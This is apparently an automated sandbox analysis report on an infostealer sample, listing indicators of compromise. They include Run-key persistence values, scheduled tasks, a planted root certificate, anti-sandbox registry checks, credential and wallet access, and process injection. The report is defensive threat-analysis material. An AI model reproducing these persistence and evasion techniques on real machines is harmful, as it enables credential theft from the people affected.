elysiumstealer | baa381f572d293636b6e48cacd2cd6a6f4f9e5f71c583873260f6ac01f0f5e15

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	8232718.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	8232718.exe

Loads dropped DLL 64 IoCs

pid	Process
1912	setup_x86_x64_install.exe
1656	setup_installer.exe
1656	setup_installer.exe
1656	setup_installer.exe
1656	setup_installer.exe
1656	setup_installer.exe
1656	setup_installer.exe
760	setup_install.exe
760	setup_install.exe
760	setup_install.exe
760	setup_install.exe
760	setup_install.exe
760	setup_install.exe
760	setup_install.exe
760	setup_install.exe
572	cmd.exe
572	cmd.exe
392	cmd.exe
1076	Fri1544861ac3fe6a.exe
1076	Fri1544861ac3fe6a.exe
1136	cmd.exe
1300	cmd.exe
1596	Fri156ec98815f89c.exe
1596	Fri156ec98815f89c.exe
1816	cmd.exe
1020	cmd.exe
1020	cmd.exe
796	Fri157e25afd971.exe
796	Fri157e25afd971.exe
1644	Fri15af75ee9b.exe
1644	Fri15af75ee9b.exe
796	Fri157e25afd971.exe
872	Fri157e25afd971.tmp
872	Fri157e25afd971.tmp
872	Fri157e25afd971.tmp
1780	rundll32.exe
1780	rundll32.exe
1780	rundll32.exe
1780	rundll32.exe
788	LzmwAqmV.exe
788	LzmwAqmV.exe
872	Fri157e25afd971.tmp
544	4608858.exe
544	4608858.exe
788	LzmwAqmV.exe
788	LzmwAqmV.exe
544	4608858.exe
2280	WinHoster.exe
2280	WinHoster.exe
788	LzmwAqmV.exe
788	LzmwAqmV.exe
1076	Fri1544861ac3fe6a.exe
1076	Fri1544861ac3fe6a.exe
1076	Fri1544861ac3fe6a.exe
1076	Fri1544861ac3fe6a.exe
788	LzmwAqmV.exe
788	LzmwAqmV.exe
2388	setup.exe
788	LzmwAqmV.exe
2532	setup_2.exe
2532	setup_2.exe
788	LzmwAqmV.exe
788	LzmwAqmV.exe
2532	setup_2.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	4608858.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Windows NT\\Titeryfaero.exe\""	zab2our.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	8232718.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
49	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
3020	8232718.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1884 set thread context of 1532	1884	services64.exe	103

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File created	C:\Program Files\Microsoft Office\SWKEJSMQIO\ultramediaburner.exe	zab2our.exe
File created	C:\Program Files\Microsoft Office\SWKEJSMQIO\ultramediaburner.exe.config	zab2our.exe
File created	C:\Program Files (x86)\Windows NT\Titeryfaero.exe.config	zab2our.exe
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe	ultramediaburner.tmp
File created	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp
File created	C:\Program Files (x86)\Windows NT\Titeryfaero.exe	zab2our.exe
File created	C:\Program Files (x86)\UltraMediaBurner\is-2CBRS.tmp	ultramediaburner.tmp
File created	C:\Program Files (x86)\UltraMediaBurner\is-2JNFK.tmp	ultramediaburner.tmp
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
2964	2552	WerFault.exe	64
2296	1400	WerFault.exe	53
2704	2656	WerFault.exe	68

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri15af75ee9b.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri15af75ee9b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri15af75ee9b.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Fri1544861ac3fe6a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Fri1544861ac3fe6a.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
2624	schtasks.exe
772	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
108	timeout.exe

Kills process with taskkill 4 IoCs

evasion

pid	Process
2952	taskkill.exe
2168	taskkill.exe
3368	taskkill.exe
1764	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 36 IoCs

adware spyware

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\fr-FR = "fr-FR.1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "337716085"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = f0145aef48a3d701	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000000d327e8bcedb2d4b986abc323ea826ca00000000020000000000106600000001000020000000e1cf0de4228f9fed007d37bc2b7f6ec4e273eea9cba070bb021332c32b486cef000000000e8000000002000020000000f58ef9f7d8d19e347609d35205dfe6eed7571fba56ad9dbffaf65024ccb21cdf90000000fc10e5a85aee58df5dab81f6b6aaaf6d882fc50277b6846f5e39678665225426b3dbac81bf0545c0e86564040004b37022b6754851eafcb43c562751f20bd22fe7ffefce4f4e54430d44155d9b6c27b73f1fb9ccce70897fc036206da082ddd14b63e4cdf2511f903fd493fbfcb7df86822b4f59948740e8f789bac60f179b72ee06ddba634dfb5f384cf7030b36637b40000000e51a23dc95aa548dc77b65911072f1d64c5361a05c213df34f36e04bba8418077852c4a6abfe8da573d7cbc93fb83883398ea7b54db31578e05ee1c6fa2fbbb2	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000000d327e8bcedb2d4b986abc323ea826ca00000000020000000000106600000001000020000000970f5dcbbbb3e95bb10500f506d6593bec89cd2d05945f7f7b9879872600c7ff000000000e8000000002000020000000fcff37c5a1a0996545576e9fb605b17bd9fa77051a83943f3f46a12f8a65ef9320000000e5b0f294997a3fb6166e6bc01d8239da1d434d743dd11a4cd579f638a6d5666440000000405fe02f8ee18e557e2dc9cdd8c9ae1b5c04c84c08d11ac0ba2c8cd8e3599911da70ad6e206e5969afc69d41ede87b4176c0e36aa9c54c917e9ee12065e2822e	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{FEFB3F80-0F3B-11EC-A597-4E684FBC3E3F} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Fri1544861ac3fe6a.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Fri1544861ac3fe6a.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	BearVpn 3.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	BearVpn 3.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Fri1544861ac3fe6a.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	7	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1644	Fri15af75ee9b.exe
1644	Fri15af75ee9b.exe
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1076	Fri1544861ac3fe6a.exe
1076	Fri1544861ac3fe6a.exe
1076	Fri1544861ac3fe6a.exe
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found

Suspicious behavior: GetForegroundWindowSpam 3 IoCs

pid	Process
1196	Process not Found
2296	WerFault.exe
2704	WerFault.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1644	Fri15af75ee9b.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	1260	Fri1553f0ee90.exe
Token: SeDebugPrivilege	1884	Fri155442fc38b.exe
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeDebugPrivilege	1400	3797853.exe
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeDebugPrivilege	2328	2.exe
Token: SeDebugPrivilege	2252	PublicDwlBrowser1100.exe
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeDebugPrivilege	2552	4446421.exe
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeDebugPrivilege	2952	taskkill.exe
Token: SeDebugPrivilege	2656	1206160.exe
Token: SeDebugPrivilege	2800	BearVpn 3.exe
Token: SeDebugPrivilege	2168	taskkill.exe
Token: SeDebugPrivilege	2216	Chrome 5.exe
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeDebugPrivilege	1884	services64.exe
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeDebugPrivilege	2296	WerFault.exe
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeLockMemoryPrivilege	1532	explorer.exe
Token: SeLockMemoryPrivilege	1532	explorer.exe
Token: SeDebugPrivilege	2704	WerFault.exe
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeDebugPrivilege	3020	8232718.exe
Token: SeDebugPrivilege	2500	Pubdate.exe
Token: SeDebugPrivilege	2264	Taepicysheti.exe

Suspicious use of FindShellTrayWindow 8 IoCs

pid	Process
2828	ultramediaburner.tmp
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
912	iexplore.exe
1196	Process not Found
1196	Process not Found

Suspicious use of SendNotifyMessage 10 IoCs

pid	Process
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
912	iexplore.exe
912	iexplore.exe
956	IEXPLORE.EXE
956	IEXPLORE.EXE
956	IEXPLORE.EXE
956	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1912 wrote to memory of 1656	1912	setup_x86_x64_install.exe	27
PID 1912 wrote to memory of 1656	1912	setup_x86_x64_install.exe	27
PID 1912 wrote to memory of 1656	1912	setup_x86_x64_install.exe	27
PID 1912 wrote to memory of 1656	1912	setup_x86_x64_install.exe	27
PID 1912 wrote to memory of 1656	1912	setup_x86_x64_install.exe	27
PID 1912 wrote to memory of 1656	1912	setup_x86_x64_install.exe	27
PID 1912 wrote to memory of 1656	1912	setup_x86_x64_install.exe	27
PID 1656 wrote to memory of 760	1656	setup_installer.exe	28
PID 1656 wrote to memory of 760	1656	setup_installer.exe	28
PID 1656 wrote to memory of 760	1656	setup_installer.exe	28
PID 1656 wrote to memory of 760	1656	setup_installer.exe	28
PID 1656 wrote to memory of 760	1656	setup_installer.exe	28
PID 1656 wrote to memory of 760	1656	setup_installer.exe	28
PID 1656 wrote to memory of 760	1656	setup_installer.exe	28
PID 760 wrote to memory of 328	760	setup_install.exe	36
PID 760 wrote to memory of 328	760	setup_install.exe	36
PID 760 wrote to memory of 328	760	setup_install.exe	36
PID 760 wrote to memory of 328	760	setup_install.exe	36
PID 760 wrote to memory of 328	760	setup_install.exe	36
PID 760 wrote to memory of 328	760	setup_install.exe	36
PID 760 wrote to memory of 328	760	setup_install.exe	36
PID 760 wrote to memory of 572	760	setup_install.exe	35
PID 760 wrote to memory of 572	760	setup_install.exe	35
PID 760 wrote to memory of 572	760	setup_install.exe	35
PID 760 wrote to memory of 572	760	setup_install.exe	35
PID 760 wrote to memory of 572	760	setup_install.exe	35
PID 760 wrote to memory of 572	760	setup_install.exe	35
PID 760 wrote to memory of 572	760	setup_install.exe	35
PID 760 wrote to memory of 392	760	setup_install.exe	31
PID 760 wrote to memory of 392	760	setup_install.exe	31
PID 760 wrote to memory of 392	760	setup_install.exe	31
PID 760 wrote to memory of 392	760	setup_install.exe	31
PID 760 wrote to memory of 392	760	setup_install.exe	31
PID 760 wrote to memory of 392	760	setup_install.exe	31
PID 760 wrote to memory of 392	760	setup_install.exe	31
PID 760 wrote to memory of 1816	760	setup_install.exe	33
